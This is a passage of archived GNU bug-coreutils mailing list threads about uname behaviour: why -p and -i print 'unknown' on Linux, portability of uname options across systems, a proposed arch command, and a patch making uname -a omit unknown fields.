Noel Kuntze wrote: It seems to me that the options for uname, more precise, -v and -r have been interchanged. The uname program dates back to the days of yore before we had refined networking to the mature state that it is now. It is really a terrible interface. Although we often use 'uname -a' to identify systems it isn't out of love but simple practicality that there isn't much better available. If you collected the output of uname with various options on every different system you could find you would have quite a collection of random output! At that point you would understand the problem. The only portable use of uname is without arguments. To use it portably you can only really use it first to figure out which system you are on and then follow that up with subsequent calls with system specific options. I often do this type of thing in scripts: case $(uname) in HP-UX) case $(uname -m) in 9000/*) case $(getconf CPU_VERSION) in 528) mach=hppa1.1 ;; 532) mach=hppa2.0 ;; 768) mach=ia64 ;; esac ;; *) mach=$(uname -m) ;; esac sys=hpux$(uname -r | sed 's/^[AB]\.//') ;; Linux) sys=gnulinux mach=$(uname -m) ;; AIX) sys=aix mach=rs6000 ... ;; esac That is just an example. Such as for AIX I would need to do more but I didn't want to keep going with the example. Bob
bug#7938: uname --version BUG
Hi, When I type the command: uname --version it says illegal option -- version. Notice in the error message there is a space between -- and version but in actual command its not. The error message is different if I deliberately put a space between the two and execute it. I am using SunOS, kernel version Generic_144488-05 Thanks Karan
bug#7938: uname --version BUG
On 01/29/2011 03:25 PM, Karan Dhindsa wrote: When I type the command: uname --version it says illegal option -- version. Check your $PATH. I expect you're running the Solaris 'uname', not coreutils 'uname'. On my Solaris 10 host: $ /usr/bin/uname --version /usr/bin/uname: illegal option -- version usage: uname [-snrvmapiX] uname [-S system_name] $ /opt/sfw/bin/uname --version uname (GNU coreutils) 5.93 Copyright (C) 2005 Free Software Foundation, Inc. This is free software. You may redistribute copies of it under the terms of the GNU General Public License http://www.gnu.org/licenses/gpl.html. There is NO WARRANTY, to the extent permitted by law. Written by David MacKenzie.
bug#7255: [PATCH] Fix reporting `unknown' by uname -p and uname -i
I'm sending a patch from Launchpad, which fixes bug in coreutils. TEST CASE: Use command 'uname -i' or uname -p' Launchpad bug: https://launchpad.net/bugs/470550 Patch is able to use on coreutils 8.5. We look forward to your response. 80_fedora_sysinfo.dpatch Description: application/shellscript
bug#7255: [PATCH] Fix reporting `unknown' by uname -p and uname -i
On 10/20/2010 03:26 PM, Artur Rona wrote: I'm sending a patch from Launchpad, which fixes bug in coreutils. TEST CASE: Use command 'uname -i' or uname -p' Launchpad bug: https://launchpad.net/bugs/470550 Patch is able to use on coreutils 8.5. We look forward to your response. Thanks for your work. But as pointed out in that launchpad discussion: This has been discussed upstream; see: * http://lists.gnu.org/archive/html/bug-coreutils/2005-09/msg00053.html for a more discussed thread, or * http://lists.gnu.org/archive/html/bug-coreutils/2007-04/msg00089.html for a to-the-point one. There are other hits, BTW. Summary, as far as I can understand: coreutils will not provide 'uname -p -i' on Linux platforms since the 'sysinfo()' call does not support it, and /proc is er, considered too Linux-specific. I would tend to mark this one INVALID I still think you are better off investing effort in improving the Linux kernel uname() or sysinfo() syscalls to provide the information natively than you are to try and parse /proc/cpuinfo on the fly. -- Eric Blake ebl...@redhat.com+1-801-349-2682 Libvirt virtualization library http://libvirt.org
Re: now that gnulib provides uname...
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 According to Jim Meyering on 10/10/2009 1:08 AM: * src/Makefile.am (EXTRA_PROGRAMS): List them one per line. It looks nicer now! That would have been so much nicer for me to use when writing my LDADD patch (bulk copy, paste, and sed on the replacement). Oh well. - -- Don't work too hard, make some time for fun as well! Eric Blake e...@byu.net -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Cygwin) Comment: Public key at home.comcast.net/~ericblake/eblake.gpg Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkrQcnwACgkQ84KuGfSFAYDh9gCgpPr/trU2ndjuJpv/uInggLzu d+8AnjzDfptzLtiW8dIFnJQcStX6lszA =1MwJ -END PGP SIGNATURE-
Re: Bug in uname
On Mon, 8 Dec 2008, Eric Blake wrote: The information contained in this e-mail may be privileged and/or Sending mail from an account that adds a disclaimer longer than the body of your message is considered poor netiquette. This disclaimer is unenforceable on a publicly archived mailing list, but some people refuse to reply on principle. Hi Eric, I agree these disclaimers can be annoying, but there's no clue to the sender that bug-coreutils@gnu.org represents a publically archived mailing list. I'm not sure there's even an implied license to copy and re-publish the text of this email, although _I_ know that's what MHonArc will do on http://lists.gnu.org/ Cheers, Phil ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
RE: Bug in uname
Thanks for maintaining a less-than-glorious, but useful utility. I did check to make sure I was getting the expected version of uname: which uname /bin/uname , but attempting to repeat the symptom got proper behavior!??: uname -a Linux cloudy 2.6.25-14.fc9.x86_64 #1 SMP Thu May 1 06:06:21 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux A look at my history shows the command I originally used: uname -a uname: extra operand `-a' Try `uname --help' for more information. Oh goody, identical commands, different behavior... cat | od -c uname -a 000 u n a m e 342 200 223 a \n \n 014 It appears that the web page I cut-n-pasted from was rendered using a UTF8 character (0xE28093) that just happens to look like a hyphen on my terminal. Nevermind :-) Sorry about the .sig; it's the burden that comes of working for a financial company. Further sorry about the false alarm. Walter -Original Message- From: Eric Blake [mailto:[EMAIL PROTECTED] Sent: Monday, December 08, 2008 7:31 PM To: Walter Coole Cc: bug-coreutils@gnu.org Subject: Re: Bug in uname -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 According to Walter Coole on 12/8/2008 1:28 PM: uname -a uname: extra operand `-a' Thanks for the report. Are you sure you don't have any aliases or shell functions interfering? Depending on your shell, 'which uname' or 'type uname' will tell you. ... ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
uname -p: unknown
Hi, i've installed ubuntu 7.10 on a desktop - pentium IV, and on a laptop - amd64 athlon. when i type uname -p the answer is unknow What's the matter Cheers Francesco ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: uname -p: unknown
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 According to fra_rag.1 on 1/24/2008 5:31 AM: | Hi, | i've installed ubuntu 7.10 on a desktop - pentium IV, and on a laptop - amd64 athlon. | when i type | | uname -p | | the answer is | | unknow | | What's the matter This is not a bug. Rather, it is a deficiency in your OS's uname(2) call; coreutils uname(1) is merely reporting the truth that your OS does not provide this information in an easily accessible manner. - -- Don't work too hard, make some time for fun as well! Eric Blake [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.5 (Cygwin) Comment: Public key at home.comcast.net/~ericblake/eblake.gpg Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHmJDb84KuGfSFAYARAvvsAJoDenuZj0/FiWk7obUBizr028ihOgCfc0Hz bvu2cOKS8V4fbQ/PTvxRARI= =YXCI -END PGP SIGNATURE- ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: uname problem on Mac OS X
TjL [EMAIL PROTECTED] writes: $ guname --version uname (coreutils) 5.2.1 That behavior has changed in recent versions of coreutils; you might want to give the latest version a try. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
uname problem on Mac OS X
I was having some problems getting programs to compile on my Mac, and tracked it down to the GNU uname program (which I then renamed 'guname' for the purposes of testing). This is the version I have installed: $ guname --version uname (coreutils) 5.2.1 Written by David MacKenzie. Note the difference in -a and -p from the regular 'uname' program (/ usr/bin/uname): uname -a: Darwin MacBook.local 8.10.1 Darwin Kernel Version 8.10.1: Wed May 23 16:33:00 PDT 2007; root:xnu-792.22.5~1/RELEASE_I386 i386 i386 guname -a: Darwin MacBook.local 8.10.1 Darwin Kernel Version 8.10.1: Wed May 23 16:33:00 PDT 2007; root:xnu-792.22.5~1/RELEASE_I386 i386 unknown MacBook1,1 Darwin uname -m: i386 guname -m: i386 uname -n: MacBook.local guname -n: MacBook.local uname -p: i386 guname -p: unknown uname -r: 8.10.1 guname -r: 8.10.1 uname -s: Darwin guname -s: Darwin uname -v: Darwin Kernel Version 8.10.1: Wed May 23 16:33:00 PDT 2007; root:xnu-792.22.5~1/RELEASE_I386 guname -v: Darwin Kernel Version 8.10.1: Wed May 23 16:33:00 PDT 2007; root:xnu-792.22.5~1/RELEASE_I386 Is there a way to have the GNU versions of these programs automatically prepend a 'g' (i.e. 'gls' instead of 'ls') when installed? I've seen that done on some systems but wasn't sure if that was an automatic thing or not. Of course you wouldn't want 'ggzip' I guess! In any case, thanks for the coreutils, I love them and always install them right away when setting up a new system. Thanks! TjL ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: uname problem on Mac OS X
TjL wrote: uname -p: i386 guname -p: unknown The GNU uname program simply reports the result from the kernel system call uname(2). man 2 uname If the kernel does not report the processor type then GNU uname does not have any information to work with. Some vendors compile programs specifically for a single architecture and hard code in a value but this is not portable. The 'uname -p' option is not one of the standard options and I recommend that use of it is avoided. http://www.opengroup.org/onlinepubs/009695399/utilities/uname.html Actually use of uname for any purpose other than returning the system name is quite troublesome for portability. I would avoid it in all cases other than when you know that it is going to return meaningful data. Is there a way to have the GNU versions of these programs automatically prepend a 'g' (i.e. 'gls' instead of 'ls') when installed? I've seen that done on some systems but wasn't sure if that was an automatic thing or not. All programs that use the GNU autotools configure process can be configured this way at ./configure time. ./configure --program-prefix=g Then compile and install normally. The installed programs will have a 'g' prepended to the front of the names. Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
adding arch (aka uname -m) to the coreutils
Karel Zak [EMAIL PROTECTED] wrote:
Hi Jim,
On Tue, Apr 03, 2007 at 12:23:32PM -0700, H. Peter Anvin wrote:
Karel Zak wrote:
On Tue, Apr 03, 2007 at 05:56:49PM +0200, Matthias Koenig wrote:
Hi,
I noticed that /bin/arch has been removed in release 2.13-pre1.
While this command is equivalent to uname -m, it is used by some
old scripts. Any chance to keep this for compatibility reasons?
Good point.
Yes, I'd like to keep it. It seems that many people (include me :-)
use it. We (Red Hat) have tried to remove it from our distros, but
without success. I think maintain this tiny tool is without any
overhead.
#!/bin/sh
exec /bin/uname -m
Either that, or just make uname detect a link to arch.
What do you think about this idea? Is it possible to add the arch
command emulation to the uname command in a next coreutils release?
Please, see the following patch. Note, the patch doesn't include any
change to build system -- I'm not sure if automatically create the
link (/bin/arch - /bin/uname) is a good idea, because almost all
people use old util-linux with the arch binary.
Karel
...
[ see http://marc.info/?l=util-linux-ngm=118104205801820w=2
for the patch ]
Hi Karel,
Adding arch to the coreutils looks like it would be sensible, but if
we go that route, it'll have to be done a little differently, since
(following the GCS), the behavior of a program in this package does
not change based on it name. I.e., it'd have to be a separate binary,
or maybe even a script.
For an example of how to do this in coreutils with a binary,
look at ls.h, ls-dir.c and ls-vdir.c. IMHO, for something
as fundamental as arch (seeing as how it's used in places like
config.guess), it should be a binary, and not a script, but if
you make a case for using a script, I'll keep an open mind :)
If you're interested in pursuing this, it'd be great if you could
put together a complete patch, including these:
ChangeLog entries (see other New program entries, e.g. runcon)
NEWS entry
AUTHORS update (add your name next to arch, if you do this)
README update (add the new program name to the list)
documentation update (both man/arch.x and coreutils.texi)
new files, src/uname.h, uname-arch.c
{man,src}/Makefile.am
and for extra credit, also add a test script named, say, tests/misc/arch
comparing its output with e.g., that from uname -m. You can use
tests/sample-test as a template.
A good cross-check is to run make distcheck.
If you do submit a patch, it makes it easier for me if you
generate it with a command like this:
git-format-patch --stdout --signoff HEAD~1 patch
after you've committed into a branch of the repo you
get from this command:
git clone git://git.sv.gnu.org/coreutils
If that's all Greek to you, don't worry about it,
cvs diff -u output is still ok.
Jim
___
Bug-coreutils mailing list
Bug-coreutils@gnu.org
http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: adding arch (aka uname -m) to the coreutils
Karel Zak [EMAIL PROTECTED] wrote: ... Ah... I see, modesty brevity :-) Yeah, there is some process here, but it's not *that* bad. Besides, it's not every day we add a new program to coreutils :) FWIW, arch will be the 100th(!) program. Do whatever part you're comfortable with, and I'll be happy to do the rest. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Bug: uname -r shows kernel version and uname -v shows release date
Hi, I have found this bug in RHEL4, think will be there in all distros. snip [EMAIL PROTECTED] root]# uname -r 2.4.21-47.0.1.ELvmnix [EMAIL PROTECTED] root]# uname -v #1 Tue May 22 05:16:53 PDT 2007 [EMAIL PROTECTED] root]# snip uname -r suppose to show relaese date and option -v has to show kernel version I am looking forward your response. Thanks, Saikrishna Macharla - Sick sense of humor? Visit Yahoo! TV's Comedy with an Edge to see what's on, when. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Bug: uname -r shows kernel version and uname -v shows release date
On Wed, 23 May 2007, Saikrishna Macharla wrote:
I have found this bug in RHEL4, think will be there in all distros.
[EMAIL PROTECTED] root]# uname -r
2.4.21-47.0.1.ELvmnix
[EMAIL PROTECTED] root]# uname -v
#1 Tue May 22 05:16:53 PDT 2007
uname(1) simply displays what uname(2) returns.
$ strace -v -e uname uname -v
uname({sysname=Linux, nodename=anacreon.dub.corp.google.com, release=2.6.18.5-gg4,
version=#1 SMP Mon Jan 8 15:59:45 GMT 2007, machine=i686}) = 0
uname({sysname=Linux, nodename=anacreon.dub.corp.google.com, release=2.6.18.5-gg4,
version=#1 SMP Mon Jan 8 15:59:45 GMT 2007, machine=i686}) = 0
#1 SMP Mon Jan 8 15:59:45 GMT 2007
which in turn gets them (on Linux) from various settings in
/proc/sys/kernel/
Cheers,
Phil
___
Bug-coreutils mailing list
Bug-coreutils@gnu.org
http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Bug: uname -r shows kernel version and uname -v shows release date
On Wed, 23 May 2007, Philip Rowlands wrote:
uname({sysname=Linux, nodename=anacreon.dub.corp.google.com,
I probably ought to have redacted my hostname. Whoops :)
Cheers,
Phil
___
Bug-coreutils mailing list
Bug-coreutils@gnu.org
http://lists.gnu.org/mailman/listinfo/bug-coreutils
uname
Hi All, uname does not work on the debian port to a mips based asus router... uname -p unknown but: uname -a Linux asus-debian 2.6.19.2 #9 Tue Apr 3 21:30:54 CEST 2007 mips GNU/Linux is correct. Any ideas what we can do to fix this? Thanks! - DL ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: uname
Dr. Douglas Lyon wrote: Hi All, uname does not work on the debian port to a mips based asus router... uname -p unknown but: uname -a Linux asus-debian 2.6.19.2 #9 Tue Apr 3 21:30:54 CEST 2007 mips GNU/Linux is correct. Actually, I'm getting the same behavior on my i686 Ubuntu 6.10.1 install. Note that the mips bit is probably the output from uname -m, not uname -p; uname -a lists print all information, in the following order, except omit -p and -i if unknown. Still, given that /proc/cpuinfo has useful info, perhaps -p shouldn't be unknown? -- Micah J. Cowan Programmer, musician, typesetting enthusiast, gamer... http://micah.cowan.name/ ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: uname
Micah Cowan [EMAIL PROTECTED] writes: given that /proc/cpuinfo has useful info, perhaps -p shouldn't be unknown? If Linux ever gives us a system call to get the processor type reliably then we'll use that. In the meantime, it's not clear what the relationship is between processor type and the stuff one tends to find in /proc/cpuinfo. For what it's worth, we have the following output: Linux Solaris x86 Solaris sparc uname -m i686i86pcsun4u uname -p unknown i386 sparc so to some extent Solaris is drawing a distinction between -m and -p that doesn't really exist in the x86 world, and Linux is not bothering to support both. At any rate, I don't see anything in /proc/cpuinfo that corresponds to what uname -p's role. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Problem coreutils sh-utils {uname -p}....
Hi, I am using coreutils-v5.2.1on Linux x86 and x86_64. When I use uname -p, it does not show any processor type. Instead it gives me unknown as the output. I tried the same with the sh-utils-v2.0 and the behavior remained the same. However coreutils-v4.5.3 is working fine. Can you please help ? Thanks and regards, -- -Ashwani -- ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Problem coreutils sh-utils {uname -p}....
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 bug-sh-utils is an obsolete list, use bug-coreutils instead. According to Ashwani Bhat on 12/20/2006 10:34 PM: Hi, I am using coreutils-v5.2.1on Linux x86 and x86_64. When I use uname -p, it does not show any processor type. Instead it gives me unknown as the output. I tried the same with the sh-utils-v2.0 and the behavior remained the same. However coreutils-v4.5.3 is working fine. Can you please help ? All of the versions you mentioned are out of date. You may want to consider upgrading to coreutils 6.7. The fact that your copy of 4.5.3 printed something for -p is due to a vendor patch, and not something in upstream coreutils. The problem is that Linux does not provide a consistent API for getting at the processor type, so coreutils cannot guess it. Some distros add patches that make -p print something other than unknown, but they are not very portable, and not worth the maintenance hassle upstream. If you really want this fixed, you should convince Linux to add an API that makes it easy and reliable to get at this information. - -- Life is short - so eat dessert first! Eric Blake [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.5 (Cygwin) Comment: Public key at home.comcast.net/~ericblake/eblake.gpg Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFFioRo84KuGfSFAYARAmTDAKCWeokrwfApb9P+3UPhTuxGqBCfUgCfWYi3 THnxr6E+Yg2ZdbfeZIi+l44= =CqoX -END PGP SIGNATURE- ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Problem coreutils sh-utils {uname -p}....
21 Ara 2006 Per 14:56 tarihinde, Eric Blake şunları yazmıştı: bug-sh-utils is an obsolete list, use bug-coreutils instead. According to Ashwani Bhat on 12/20/2006 10:34 PM: Hi, I am using coreutils-v5.2.1on Linux x86 and x86_64. When I use uname -p, it does not show any processor type. Instead it gives me unknown as the output. I tried the same with the sh-utils-v2.0 and the behavior remained the same. However coreutils-v4.5.3 is working fine. Can you please help ? All of the versions you mentioned are out of date. You may want to consider upgrading to coreutils 6.7. The fact that your copy of 4.5.3 printed something for -p is due to a vendor patch, and not something in upstream coreutils. The problem is that Linux does not provide a consistent API for getting at the processor type, so coreutils cannot guess it. Some distros add patches that make -p print something other than unknown, but they are not very portable, and not worth the maintenance hassle upstream. If you really want this fixed, you should convince Linux to add an API that makes it easy and reliable to get at this information. Whats wrong with parsing /proc/cpuinfo on Linux? Regards, ismail -- Bir gün yolda yürüyordum... Bir şarkı duydum... Kalbim acıdı... Bu kadar... ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Problem coreutils sh-utils {uname -p}....
Ismail Donmez [EMAIL PROTECTED] writes: Whats wrong with parsing /proc/cpuinfo on Linux? It has no defined format, and varies widely between architectures. Andreas. -- Andreas Schwab, SuSE Labs, [EMAIL PROTECTED] SuSE Linux Products GmbH, Maxfeldstraße 5, 90409 Nürnberg, Germany PGP key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 And now for something completely different. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
uname option handling problem (Re: bug)
I do not have the gb2312 charset in which your message was encoded installed on my system. Apologies if certain characters did not encode properly. Please consider using a UTF-8 encoding for portable message interchange. [EMAIL PROTECTED] test]# uname /? uname: ??/a?? uname --help?? [EMAIL PROTECTED] test]# uname /a uname: ??/a?? uname --help?? In my locale (en_US.UTF-8) the english version of the message says: ./src/coreutils/src/uname: extra operand `/?' Try `./src/coreutils/src/uname --help' for more information. ./src/coreutils/src/uname: extra operand `/a' Try `./src/coreutils/src/uname --help' for more information. This is because the '/' character is not an option designator on GNU or Unix systems. There you would use the '-' option disignator. Try this: uname -a And you should see the output result that you desire. [EMAIL PROTECTED] test]# uname --help ??uname []... Print certain system information. With no OPTION, same as -s. -a, --allprint all information, in the following order, except omit -p and -i if unknown: -s, --kernel-nameprint the kernel name -n, --nodename print the network node hostname -r, --kernel-release print the kernel release -v, --kernel-version print the kernel version -m, --machineprint the machine hardware name -p, --processor print the processor type or unknown -i, --hardware-platform print the hardware platform or unknown -o, --operating-system print the operating system --help --version ?? bug-coreutils@gnu.org ?? As you can see all of the options listed there start with a '-' character. Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
I found a little bug of uname command
Good Morning: Sir/Lady. I am chinese user of RedHat 9. My kernel version is 2.4.20-8 on an i686. Today I found a little bug of uname command. I read manual of uname. If I used uname -v, the system will print the kernel version. But I found the system did not print the kernel version but program produced time. I thought maybe this is a little bug. Because I am a new user of Linux, there are a lot of thing I did not know . But I think Linux is very powerful and interesting OS and I love it. I believe it will be more powerful in future!! Thank you for reading. If I make a mistake, please forgive me! :) Your Sincerely HuiXue. China Sichuan UESTC ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: I found a little bug of uname command
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 According to george_xuehui on 5/2/2006 2:20 AM: Good Morning: Sir/Lady. I am chinese user of RedHat 9. My kernel version is 2.4.20-8 on an i686. Today I found a little bug of uname command. I read manual of uname. If I used uname -v, the system will print the kernel version. But I found the system did not print the kernel version but program produced time. I thought maybe this is a little bug. Because I am a new user of Linux, there are a lot of thing I did not know . But I think Linux is very powerful and interesting OS and I love it. I believe it will be more powerful in future!! Thank you for reading. If I make a mistake, please forgive me! :) Thanks for the report. However, you did not provide very many details as to what actually happened, and what you expected. Capturing the output on your screen is useful. I suggest reading http://www.chiark.greenend.org.uk/~sgtatham/bugs.html for ideas on better bug reporting. - -- Life is short - so eat dessert first! Eric Blake [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.1 (Cygwin) Comment: Public key at home.comcast.net/~ericblake/eblake.gpg Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFEV1ui84KuGfSFAYARAiUzAJ4+uX3qlNEufmwFJRgPvVvlt8x7ewCgrvOH tDh1MsQGjF2JsZ8NFEHvD7w= =kYo9 -END PGP SIGNATURE- ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: I found a little bug of uname command
george_xuehui [EMAIL PROTECTED] writes: If I used uname -v, the system will print the kernel version. But I found the system did not print the kernel version but program produced time. Many systems, including mine, use a time stamp to denote the kernel version. That's probably what happened to you. If so, uname is operating correctly. For example: 515-penguin $ uname -a Linux penguin 2.4.27-2-686 #1 Wed Aug 17 10:34:09 UTC 2005 i686 GNU/Linux 516-penguin $ uname -v #1 Wed Aug 17 10:34:09 UTC 2005 ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
coreutils, uname, german translation
German translation of uname -r and uname -v is irritating so is the english explanation ---8--- $ uname -r 2.6.12-9-k7 ---8--- I would say that above is what we call 'Kernel Versions-Nummer' in German. May be translated as english term: 'kernel version number' and not only kernel version ---8--- $ uname -v #1 Mon Oct 10 13:47:52 BST 2005 ---8--- I would say that above is the biuld/release date In German it should be translated as 'Kernel Erstellungs-Datum'. May be translated as english term: 'kernel build date' ---8--- $ uname --help Aufruf: uname [OPTION]... Festgelegte Systeminformationen ausgeben. Ohne OPTION dasselbe wie -s. -a, --all alle Informationen ausgeben -s, --kernel-name Namen des Kernels ausgeben -n, --nodename Netzwerknamen der Maschine ausgeben -r, --release Release-Nummer des Betriebssystems ausgeben -v, --kernel-version print the kernel version -m, --machine print the machine hardware name -o, --operating-system print the operating system --help diese Hilfe anzeigen und beenden --version Versionsinformation anzeigen und beenden Melden Sie Fehler (auf Englisch, mit LC_ALL=C) an bug-coreutils@gnu.org. regards, Thomas ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: coreutils, uname, german translation
Thomas Templin [EMAIL PROTECTED] writes: German translation of uname -r and uname -v is irritating so is the english explanation For the German translation, please contact the email addresses at the start of the file po/de.po as they are in charge of that. Thanks. $ uname -v #1 Mon Oct 10 13:47:52 BST 2005 ---8--- I would say that above is the biuld/release date That might be true for Linux but it is not true for other operating systems. Coreutils attempts to be portable, and the uname documentation uses the more generic wording. For example, on Solaris 10: $ uname -v Generic_118822-18 ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: coreutils, uname, german translation
Paul Eggert wrote: Thomas Templin [EMAIL PROTECTED] writes: $ uname -v #1 Mon Oct 10 13:47:52 BST 2005 ---8--- I would say that above is the biuld/release date That might be true for Linux but it is not true for other operating systems. Coreutils attempts to be portable, and the uname documentation uses the more generic wording. For example, on Solaris 10: $ uname -v Generic_118822-18 And on an HP-UX machine: $ uname -v U And on an IBM AIX machine: $ uname -v 4 In general 'uname' is a terrible command. :-/ Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Alfred M. Szmidt wrote: They are only non-portable across different operating systems (say OpenBSD vs GNU). My point is that coreutils main goal is not to be portable across various operating systems, if `uname -p' outputs `unknown' on platforms that can't provide that info, then that is fine. If Hurd implements the interface to enable 'uname -p' then that would certainly be a good thing in general. A win-win. But if it does not then already at this time 'uname -p' is not really useful to there. If you are not concerned about portability across systems and are only concerned about GNU Hurd then it would seem that whether an option is available or not on another system should not be a concern. On the other hand I am concerned with portability across different systems. And even in the case that I were using it semi-badly I think this would not be serious breakage. case $(uname -z) in # intentionally using bad -z option here foo) echo foo ;; bar) echo bar ;; *) echo unknown uname output handler ;; esac In that case: uname: invalid option -- z Try `uname --help' for more information. unknown uname output handler That does not seem so bad. A little noise to prod the author that the option is not supported and should be handled more appropriately to be portable to different systems. In a more than semi-bad case: case $(uname -z) in # intentionally using bad -z option here foo) echo foo ;; bar) echo bar ;; unknown) echo unknown uname output handler ;; esac That would break as shown here. uname: invalid option -- z Try `uname --help' for more information. But I think it is bad to code in the unknown case here as in this example. Probably not going to be really fatal. But already a problem today for me to program across systems because already most systems I work with do not implement -p. I would need something like this: case $(uname -p 2/dev/null) in sparc) echo sparc ;; *) echo unknown uname output handler ;; esac That should work fine. At least as well as it does today. In any case, my goal with my suggestion was only that if something is not going to be functional and will only serve to intice a lot of bug reports from users reporting that it is not functional then I think it is better not to provide it at all and avoid the complaints. Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
If Hurd implements the interface to enable 'uname -p' then that would certainly be a good thing in general. A win-win. But if it does not then already at this time 'uname -p' is not really useful to there. But that isn't a good reason to make the option produce a error. If you are not concerned about portability across systems and are only concerned about GNU Hurd then it would seem that whether an option is available or not on another system should not be a concern. I'm concerned about both. If a option works in GNU uname on GNU then that same option should work (i.e. not report an error) on non-GNU platforms. --author in ls doesn't work (it shows the group, not st_author) on GNU/Linux for example, or any of the BSDs, but it would just be crazy to make it produce an error on those platforms. On the other hand I am concerned with portability across different systems. And even in the case that I were using it semi-badly I think this would not be serious breakage. If that is the case, why not just make `uname -p' (and for any other non-POSIX options) produce an error if POSIXLY_CORRECT is defined? ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
While looking into this problem I noticed that Debian tried to disable
uname -p and -i, but they didn't do it quite right. For example:
$ /bin/uname -x
/bin/uname: invalid option -- x
Try `/bin/uname --help' for more information.
$ /bin/uname -p
Try `/bin/uname --help' for more information.
I checked the Debian bug database, and found that this is bug 193170
(see the mail from Kalle Olavi Niemitalo dated 2005-04-30).
I'll CC: this message to Debian, since I just installed a patch to
fix this bug along with everything else (please see below).
Alfred M\. Szmidt [EMAIL PROTECTED] writes:
How about those [uname -p and -i] options get disabled if
POSIXLY_CORRECT is defined instead?
I'd rather not do that, since we want to minimize the effects of
POSIXLY_CORRECT. POSIX does not require that these options be
disabled (or enabled, for that matter), so POSIXLY_CORRECT should not
affect uname's behavior when presented with those options.
I think you and Bob Proulx are both right, to some extent. GNU/Linux
users have rebelled against having uname -a output unknown all the
time, so we should fix this. However, it's certainly OK if uname -p
outputs unknown.
Bob Proulx's idea of reporting -p and -i as invalid options if the
values are unknown would be a bit tricky, since in general we don't
know they're invalid unless we try to get the values.
So, instead, I propose that uname -a not output the -i and -p
information if it is unavailable. That'll make uname -a output harder
to parse, but it's already impossible to parse portably anyway, so
it's no big deal. It does address the issue that Debian rebelled
over. And it won't break any scripts in practice (unless they're
unportable or broken anyway).
I installed the following patch to implement this. Comments are
welcome. I wish the problem would go away, but it won't
2005-09-15 Paul Eggert [EMAIL PROTECTED]
* NEWS: uname -a no longer generates the -p and -i outputs if they
are unknown.
* doc/coreutils.texi (uname invocation): Document this.
* src/uname.c (usage): Document this.
(main): Implement this.
Index: NEWS
===
RCS file: /fetish/cu/NEWS,v
retrieving revision 1.310
diff -p -u -r1.310 NEWS
--- NEWS14 Sep 2005 06:57:35 - 1.310
+++ NEWS15 Sep 2005 19:55:38 -
@@ -210,6 +210,8 @@ GNU coreutils NEWS
stat -f's default output format has been changed to output this size as well.
stat -f recognizes file systems of type XFS and JFS
+ uname -a no longer generates the -p and -i outputs if they are unknown.
+
* Major changes in release 5.3.0 (2005-01-08) [unstable]
** Bug fixes
Index: doc/coreutils.texi
===
RCS file: /fetish/cu/doc/coreutils.texi,v
retrieving revision 1.282
